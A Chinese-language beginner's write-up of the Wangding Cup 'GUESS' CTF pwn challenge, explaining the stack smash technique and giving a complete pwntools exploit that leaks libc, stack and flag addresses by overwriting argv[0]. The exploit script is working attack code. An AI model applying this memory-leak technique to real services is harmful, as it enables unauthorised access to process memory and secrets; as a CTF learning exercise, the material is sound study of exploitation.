网鼎杯GUESS-萌新分析
0x00 前言
学一下往年的网鼎杯,,,,,好让自己心里有点数
确实,我好菜。
0x10 信息收集
通过ida打开。可以发现有flag.txt字样,,又发现让猜,,,嗯,,是stack smash,别的大佬说的,,我今天才学这个知识点。
0x 20 分析
0x 21 关键源码分析
分析stack smash的源码,可以看到,如果我们破坏了canary,然后系统就会调用这个函数进行一些输出,即stack smashing detected然后继续输出__libc_argv[0]指向的内容,所以我们便需要把我们想要输出的内容给想办法给搞到这个地方。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
0x 22大致步骤
这个题需要三个步骤:
- 泄露一个函数的真实地址,然后据此来找到libc
- 根据libc来泄露出environ,即栈的地址
- 根据environ来泄漏flag的地址
0x 30 详细步骤
0x31 确定真实地址
我们首先需要先找到argv[0]的地址,然后我们才方便将我们想要打印的东西给设定到那个地方。
在这里 我们可以采用两种方法:
- 在main处下断点,然后停下的地方指向文件名的就是地址
- 直接p & __libc_argv[0]
查看gets输入的字符串的位置,
可以看到是rsp-0x40的地方。
我们在gets处下断点,然后查看当时的rsp的地址
将指向argv[0]处的地址与改地址相减得到这个padding的大小,接下来就是将puts 的got表发送到这个地方然后通过stack smash进行真正的地址的打印。
在这里有一点需要指出的是:原本我们是可以打印argv[0]指向的内容,即文件名,现在我们改成了puts 的got'表就会将puts 的真实地址进行打印,然后我们便可以通过这个真实地址来找到对应的libc版本。
0x32 泄露栈的地址
这个很简单,只需要使用 如下所示的方式就可以知道栈的地址。
0x 33 找到flag与栈的偏移
找到flag在栈上的地址。
我们可以现在本地建一个flag的txt文档,然后再gdb中使用n命令,知道下面出现flag字样,然后将其与environ做减法就可以得到它在栈上的偏移。
0x40 exp如下
from pwn import *
context.log_level = 'debug'
puts_got = 0x602020
p = process('./GUESS')
#leak libc
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x000000000006f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)
offset__environ = 0x00000000003c6f38
_environ_addr = libc_base + offset__environ
log.success('_environ addr : 0x%x' %_environ_addr)
#leak stack
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'\x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30
#leak flag
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
flag = p.recvuntil('}')
print flag
p.interactive()
exp来源于github....用来学习了。。我已经尽量写得能够让各位看懂了,,我能够理解了。。前面有的步骤是参考的https://blog.csdn.net/qq_38783875/article/details/82594526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1 他的本地环境和我的不一样,,,搞得我图片也不好做。。。可以对比着学习。
推荐阅读